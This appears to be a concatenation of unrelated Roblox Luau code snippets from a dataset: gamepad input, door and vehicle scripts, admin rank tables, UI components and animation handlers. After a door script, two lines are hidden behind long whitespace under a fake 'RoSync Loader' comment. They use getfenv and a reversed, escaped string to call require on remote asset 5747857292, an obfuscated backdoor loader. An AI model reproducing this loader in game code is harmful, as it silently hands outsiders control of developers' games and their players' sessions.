Roblox/luau_corpus huggingface dataset:
-- << VARIABLES >>
local topBar = main.gui.CustomTopBar
local coreToHide = {"Chat", "PlayerList"}
local originalCoreStates = {};
local cmdBar = main.gui.CmdBar
local currentProps = {}
local originalTopBarTransparency = 1
local originalTopBarVisibility = true
local mainProps
mainProps = {
	maxSuggestions = 5;
	mainParent = cmdBar;
	textBox = cmdBar.SearchFrame.TextBox;
	rframe = cmdBar.ResultsFrame;
	suggestionPos = 1;
	suggestionDisplayed = 0;
	forceExecute = false;
	highlightColor = Color3.fromRGB(50,50,50);
	otherColor = Color3.fromRGB(80,80,80);
	suggestionLabels = {};
	currentBarCommand = nil;
}
--[[ The Module ]]--
local BaseCharacterController = require(script.Parent:WaitForChild("BaseCharacterController"))
local Gamepad = setmetatable({}, BaseCharacterController)
Gamepad.__index = Gamepad

function Gamepad.new(CONTROL_ACTION_PRIORITY)
	local self = setmetatable(BaseCharacterController.new(), Gamepad)

	self.CONTROL_ACTION_PRIORITY = CONTROL_ACTION_PRIORITY

	self.forwardValue  = 0
	self.backwardValue = 0
	self.leftValue = 0
	self.rightValue = 0

	self.activeGamepad = NONE	-- Enum.UserInputType.Gamepad1, 2, 3...
	self.gamepadConnectedConn = nil
	self.gamepadDisconnectedConn = nil
	return self
end

function Gamepad:Enable(enable: boolean): boolean
	if not UserInputService.GamepadEnabled then
		return false
	end

	if enable == self.enabled then
		-- Module is already in the state being requested. True is returned here since the module will be in the state
		-- expected by the code that follows the Enable() call. This makes more sense than returning false to indicate
		-- no action was necessary. False indicates failure to be in requested/expected state.
		return true
	end

	self.forwardValue  = 0
	self.backwardValue = 0
	self.leftValue = 0
	self.rightValue = 0
	self.moveVector = ZERO_VECTOR3
	self.isJumping = false

	if enable then
		self.activeGamepad = self:GetHighestPriorityGamepad()
		if self.activeGamepad ~= NONE then
			self:BindContextActions()
			self:ConnectGamepadConnectionListeners()
		else
			-- No connected gamepads, failure to enable
			return false
		end
	else
		self:UnbindContextActions()
		self:DisconnectGamepadConnectionListeners()
		self.activeGamepad = NONE
	end

	self.enabled = enable
	return true
end
---------END LEFT DOOR

game.Workspace.DoorClosed.Value = false
end
game.Workspace.DoorValues.Moving.Value = false
end
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
--[[ Last synced 10/14/2020 09:37 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--[[ Last synced 12/11/2020 06:21 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--- FUNCTIONS ---

function lookAt(eye, target)
	local forwardVector = (target - eye).Unit
	local upVector = Vector3.new(0, 1, 0)
	-- You have to remember the right hand rule or google search to get this right
	local rightVector = forwardVector:Cross(upVector)
	local upVector2 = rightVector:Cross(forwardVector)

	return CFrame.fromMatrix(eye, rightVector, upVector2)
end
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = .15
--[[Handlebars]]--
	Tune.SteerAngle		= 18		-- Handlebar angle at max lock (in degrees)
	Tune.MSteerExp		= 1 		-- Mouse steering exponential degree
	Tune.LowSpeedCut	= 60 		-- Low speed steering cutoff, tune according to your full lock, a bike with a great handlebar lock angle will need a lower value (E.G. If your full lock is 20 your cutoff will be 40/50, or if your full lock is 40 your cutoff will be 20/30)
	
	Tune.SteerD			= 50 		-- Dampening of the Low speed steering
	Tune.SteerMaxTorque	= 4000 		-- Force of the the Low speed steering
	Tune.SteerP			= 500 		-- Aggressiveness of the the Low speed steering
-- Services --
local svcWorkspace = game:GetService("Workspace")
local Camera = svcWorkspace.CurrentCamera
--// Global Wrapping
Enum = service_Wrap(Enum, true)
rawequal = service.RawEqual
script = service_Wrap(script, true)
game = service_Wrap(game, true)
workspace = service_Wrap(workspace, true)
Instance = {
	new = function(obj, parent)
		return service_Wrap(oldInstNew(obj, service_UnWrap(parent)), true)
	end,
}
require = function(obj, noWrap: boolean?)
	return if noWrap == true then oldReq(service_UnWrap(obj)) else service_Wrap(oldReq(service_UnWrap(obj)), true)
end

client.Service = service
client.Module = service_Wrap(client.Module, true)
-- https://developer.roblox.com/en-us/api-reference/enum/Material
local WATER = -0.60	-- уровень воды
local DELTA = 0.2	-- дельта изменения поверхности

local Players = game:GetService("Players")
-- RANK, RANK NAMES & SPECIFIC USERS
Ranks = {
	{5,	"Owner",		};
	{4,	"HeadAdmin",	{"Player1","",0},	};
	{3,	"Admin",		{"",0},	};
	{2,	"Mod",			{"",0},	};
	{1,	"VIP",			{"",0},	};
	{0,	"NonAdmin",		};
};
-- Create component
local ToolButton = Roact.PureComponent:extend(script.Name)

function ToolButton:init()
    self:UpdateHotkeyTextSize(self.props.HotkeyLabel)
end

function ToolButton:willUpdate(nextProps)
    if self.props.HotkeyLabel ~= nextProps.HotkeyLabel then
        self:UpdateHotkeyTextSize(nextProps.HotkeyLabel)
    end
end

function ToolButton:UpdateHotkeyTextSize(Text)
    self.HotkeyTextSize = TextService:GetTextSize(
        Text,
        9,
        Enum.Font.Gotham,
        Vector2.new(math.huge, math.huge)
    )
end

function ToolButton:render()
    return new('ImageButton', {
        BackgroundColor3 = self.props.Tool.Color.Color;
        BackgroundTransparency = (self.props.CurrentTool == self.props.Tool) and 0 or 1;
        BorderSizePixel = 0;
        Image = self.props.IconAssetId;
        AutoButtonColor = false;
        [Roact.Event.Activated] = function ()
            self.props.Core.EquipTool(self.props.Tool)
        end;
    }, {
        Corners = new('UICorner', {
            CornerRadius = UDim.new(0, 3);
        });
        Hotkey = new('TextLabel', {
            BackgroundTransparency = 1;
            Position = UDim2.new(0, 3, 0, 3);
            Size = UDim2.fromOffset(self.HotkeyTextSize.X, self.HotkeyTextSize.Y);
            Font = Enum.Font.Gotham;
            Text = self.props.HotkeyLabel;
            TextColor3 = Color3.fromRGB(255, 255, 255);
            TextSize = 9;
            TextXAlignment = Enum.TextXAlignment.Left;
            TextYAlignment = Enum.TextYAlignment.Top;
        });
    })
end

return ToolButton
--!strict
local Sift = script.Parent.Parent

local CopyDeep = require(script.Parent.copyDeep)
local None = require(Sift.None)
--- Registers a command based purely on its definition.
-- Prefer using Registry:RegisterCommand for proper handling of server/client model.
function Registry:RegisterCommandObject (commandObject)
	for key in pairs(commandObject) do
		if self.CommandMethods[key] == nil then
			error("Unknown key/method in command " .. (commandObject.Name or "unknown command") .. ": " .. key)
		end
	end

	if commandObject.Args then
		for i, arg in pairs(commandObject.Args) do
			for key in pairs(arg) do
				if self.CommandArgProps[key] == nil then
					error(('Unknown propery in command "%s" argument #%d: %s'):format(commandObject.Name or "unknown", i, key))
				end
			end
		end
	end

	if RunService:IsClient() and commandObject.Data and commandObject.Run then
		error(('Invalid command implementation provided for "%s": "Data" and "Run" sections are mutually exclusive'):format(commandObject.Name or "unknown"))
	end

	if commandObject.AutoExec and RunService:IsClient() then
		table.insert(self.AutoExecBuffer, commandObject.AutoExec)
		self:FlushAutoExecBufferDeferred()
	end

	-- Unregister the old command if it exists...
	local oldCommand = self.Commands[commandObject.Name:lower()]
	if oldCommand and oldCommand.Aliases then
		for _, alias in pairs(oldCommand.Aliases) do
			self.Commands[alias:lower()] = nil
		end
	elseif not oldCommand then
		self.CommandsArray[#self.CommandsArray + 1] = commandObject
	end

	self.Commands[commandObject.Name:lower()] = commandObject

	if commandObject.Aliases then
		for _, alias in pairs(commandObject.Aliases) do
			self.Commands[alias:lower()] = commandObject
		end
	end
end
-- Connect the function to new player character additions
game.Players.PlayerAdded:Connect(function(player)
	player.CharacterAdded:Connect(onCharacterAdded)
end)
-- Other Variables
local Tools = ServerStorage.Tools
local Membership = Enum.MembershipType
local None = Membership.None
local Premium = Membership.Premium
local ToolSettings = require(ServerStorage.ToolConfig)
--== SETTINGS ==--
local Key = Enum.KeyCode.F
local AnimationLength = 5.01
--Если нажата
Mos.KeyDown:connect(function(key)
	if key:lower() == string.char(48) then
		game.Workspace.Camera.FieldOfView = game.Workspace.Camera.FieldOfView + 1.6
		local Player1 = game.Players.LocalPlayer.Character.Humanoid
		if Player1 then
			Player1.WalkSpeed = 25
		end
	end
end)
--[[
	Utility function to log a Fusion-specific error.
]]

local Package = script.Parent.Parent
local Types = require(Package.Types)
local messages = require(Package.Logging.messages)

local function logError(messageID: string, errObj: Types.Error?, ...)
	local formatString: string

	if messages[messageID] ~= nil then
		formatString = messages[messageID]
	else
		messageID = "unknownMessage"
		formatString = messages[messageID]
	end

	local errorString
	
	if errObj == nil then
		errorString = string.format("[Fusion] " .. formatString .. "\n(ID: " .. messageID .. ")", ...)
	else
		formatString = string.gsub(formatString, "ERROR_MESSAGE", errObj.message)
		errorString = string.format("[Fusion] " .. formatString .. "\n(ID: " .. messageID .. ")\n---- Stack trace ----\n" .. errObj.trace, ...)
	end
	
	error(string.gsub(errorString, "\n", "\n    "), 0)
end

return logError
-- Local Functions
local function makePurchase()
	local newLevel = upgrades.Value + 1

	BuyUpgradeEvent:FireServer()
	showLevelUpBanner()
end

local function updateUpgrades()
	local cost = GameSettings.upgradeCost(upgrades.Value)
	local upgradeProgress = points.Value/cost
	local starProgress = (points.Value % (cost / 3)) / (cost / 3)
	
	prevStarProgress = currStarProgress
	currStarProgress = starProgress

	local tweenTime = 1 * math.abs(starProgress - prevStarProgress)
	if starProgress <= prevStarProgress then
		local tweenTimeToFull = 1 * (1-prevStarProgress)
		tweenTime = 1 * (starProgress)

		ProgressBarContainer:TweenPosition(UDim2.fromScale(0, 0), 
			Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweenTimeToFull, true)
		ProgressBarFill:TweenPosition(UDim2.fromScale(0, 0), 
			Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweenTimeToFull, true)
			
		wait(tweenTime)
		if starProgress == currStarProgress then
			ProgressBarContainer.Position = UDim2.fromScale(-0.56, 0)
			ProgressBarFill.Position = UDim2.fromScale(0.56, 0)

			ProgressBarContainer:TweenPosition(UDim2.fromScale(-0.56 + math.min(1, starProgress) * 0.56, 0), 
				Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweenTime, true)
			ProgressBarFill:TweenPosition(UDim2.fromScale(0.56 - math.min(1, starProgress) * 0.56, 0), 
				Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweenTime, true)
		end	
	else
		ProgressBarContainer:TweenPosition(UDim2.fromScale(-0.5 + math.min(1, starProgress) * 0.5, 0), 
			Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweenTime, true)
		ProgressBarFill:TweenPosition(UDim2.fromScale(0.5 - math.min(1, starProgress) * 0.5, 0), 
			Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweenTime, true)
	end
	
	if points.Value >= cost then
		-- 3 Stars, slight pause, upgrade
		Star1.Visible = true
		Star2.Visible = true
		Star3.Visible = true
		wait()
		makePurchase()
	elseif points.Value >= 2*cost / 3 then
		-- 2 Stars
		Star1.Visible = true
		Star2.Visible = true
	elseif points.Value >= cost / 3 then
		-- 1 Star
		Star1.Visible = true
	else
		-- 0 Stars
		Star1.Visible = false
		Star2.Visible = false
		Star3.Visible = false
	end
end

local function toggleEnabled()	
	if GameplayUi.Enabled then
		ChangeController:FireServer(false)
	else
		ChangeController:FireServer(true)
	end
end

local function toggleLobby()
	if GameplayUi.Enabled then
		-- Enter lobby and exit game
		humanoidRoot.CFrame = SpawnLocation.CFrame + Vector3.new(0, 3, 0)
		humanoid.WalkSpeed = 16
		
		GameplayUi.Enabled = false
		Tutorial.Enabled = false
		Controller.Disabled = true
		InteractionBillboard.Enabled = true
		
		LobbyButton.Visible = false
	end
end
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
	while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
	return parent[childName]
end

local Tool = script.Parent

local Animations = {}
local MyHumanoid
local MyCharacter


local function PlayAnimation(animationName)
	if Animations[animationName] then
		Animations[animationName]:Play()
	end
end

local function StopAnimation(animationName)
	if Animations[animationName] then
		Animations[animationName]:Stop()
	end
end


function OnEquipped(mouse)
	MyCharacter = Tool.Parent
	MyHumanoid = WaitForChild(MyCharacter, 'Humanoid')
	if MyHumanoid then
		Animations['EquipAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'EquipAnim5'))
		Animations['IdleAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'IdleAnim3'))
		Animations['OverheadAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'OverheadAnim2'))
		Animations['SlashAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'SlashAnim2'))
		Animations['ThrustAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'ThrustAnim2'))
		Animations['UnequipAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'UnequipAnim2'))
	end
	PlayAnimation('EquipAnim')
	PlayAnimation('IdleAnim')
end

function OnUnequipped()
	for animName, _ in pairs(Animations) do
		StopAnimation(animName)
	end
end

Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

WaitForChild(Tool, 'PlaySlash').Changed:connect(
	function (value)
		--if value then
			PlayAnimation('SlashAnim')
		--else
		--	StopAnimation('SlashAnim')
		--end
	end)

WaitForChild(Tool, 'PlayThrust').Changed:connect(
	function (value)
		--if value then
			PlayAnimation('ThrustAnim')
		--else
		--	StopAnimation('ThrustAnim')
		--end
	end)

WaitForChild(Tool, 'PlayOverhead').Changed:connect(
	function (value)
		--if value then
			PlayAnimation('OverheadAnim')
		--else
		--	StopAnimation('OverheadAnim')
		--end
	end)
--police+sec
game.Players.PlayerAdded:Connect(function(Player)  
	Player.CharacterAdded:Connect(function(Character)
		print(Player.TeamColor)
		if Player.TeamColor == BrickColor.new("Smoky grey") then
			Character.Humanoid.MaxHealth = 135
			Character.Humanoid.Health = 135
		end
	end)
end)
game.Players.PlayerAdded:Connect(function(Player)  
	Player.CharacterAdded:Connect(function(Character)
		print(Player.TeamColor)
		if Player.TeamColor == BrickColor.new("Lily white") then
			Character.Humanoid.MaxHealth = 135
			Character.Humanoid.Health = 135
		end
	end)
end)
game.Players.PlayerAdded:Connect(function(Player)  
	Player.CharacterAdded:Connect(function(Character)
		print(Player.TeamColor)
		if Player.TeamColor == BrickColor.new("Sea green") then
			Character.Humanoid.MaxHealth = 135
			Character.Humanoid.Health = 135
		end
	end)
end)
game.Players.PlayerAdded:Connect(function(Player)  
	Player.CharacterAdded:Connect(function(Character)
		print(Player.TeamColor)
		if Player.TeamColor == BrickColor.new("Mid gray") then
			Character.Humanoid.MaxHealth = 135
			Character.Humanoid.Health = 135
		end
	end)
end)
-- EDIT THE TEXTS.

CONTENT.Content1.Content.Text = "Content" -- EDIT THE STUFF IN THE QUOTATION MARKS ON YOUR NEW CONTENT.
CONTENT.Content2.Content.Text = "Content"
CONTENT.Content3.Content.Text = "Content"
CONTENT.Content4.Content.Text = "Content"
CONTENT.Content5.Content.Text = "Content"
CONTENT.Content6.Content.Text = "Content"
CONTENT.Content7.Content.Text = "Content"
CONTENT.Content8.Content.Text = "Content"
CONTENT.Content9.Content.Text = "Content"
CONTENT.Content10.Content.Text = "Content"
--How to do:
--Put BassParts in body
--And this script in DriverSeat
--Please make sure to have the songMod installed!

if script.Parent:IsA("VehicleSeat") then
	script.Parent.ChildAdded:connect(function(child)
		if child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
			local p= game.Players:GetPlayerFromCharacter(child.Part1.Parent)
			local g= script.SendBass:Clone()
			g.Parent=p.PlayerGui
			g.src.Value = script.BassEvent
			g.Disabled = false	
		end
	end)
	script.Parent.ChildRemoved:Connect(function(child)
		if child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
		end
	end)
end

script.BassEvent.OnServerEvent:Connect(function(plr, bass)
	local car = script.Parent.Parent
	local bassParts = car.Body.BassParts
	for i,v in pairs(bassParts:GetChildren()) do
		if v:IsA("MeshPart") then
			local vectorSize = v:FindFirstChild("VectorSize")
			if bass <= v.MaxBassSize.Value then
				v.Size = Vector3.new(vectorSize.Value.X,bass/v.BassSize.Value,vectorSize.Value.Z)
			else
				v.Size = Vector3.new(vectorSize.Value.X,v.MaxBassSize.Value/v.BassSize.Value,vectorSize.Value.Z)
			end
		end
	end
end)
--[=[
	@return boolean
	Returns `true` if the gamepad is currently connected.
]=]
function Gamepad:IsConnected(): boolean
	return if self._gamepad then UserInputService:GetGamepadConnected(self._gamepad) else false
end
--Main
warn("Server: Starting Internal Loader")
ModuleLoader.FindModules({
    Main,
    Local,
    Shared,
    SharedLocal
}, Modules)
ModuleLoader.LoadModules(ModuleCollection, Modules, StartQueue)
ModuleLoader.StartModules(StartQueue, ModuleCollection)
-- Decompiled with the Synapse X Luau decompiler.

local l__StarterGui__1 = game:GetService("StarterGui");
local u2 = require(script.Parent.CmdrInterface.Window);
return function(p1)
	p1:HandleEvent("Message", function(p2)
		l__StarterGui__1:SetCore("ChatMakeSystemMessage", {
			Text = ("[Announcement] %s"):format(p2), 
			Color = Color3.fromRGB(249, 217, 56)
		});
	end);
	p1:HandleEvent("AddLine", function(...)
		u2:AddLine(...);
	end);
end;
--[=[
	Makes a copy of the set, making the values as true.
	@param set table
	@return table
]=]
function Set.copy(set)
	local newSet = {}
	for key, _ in pairs(set) do
		newSet[key] = true
	end
	return newSet
end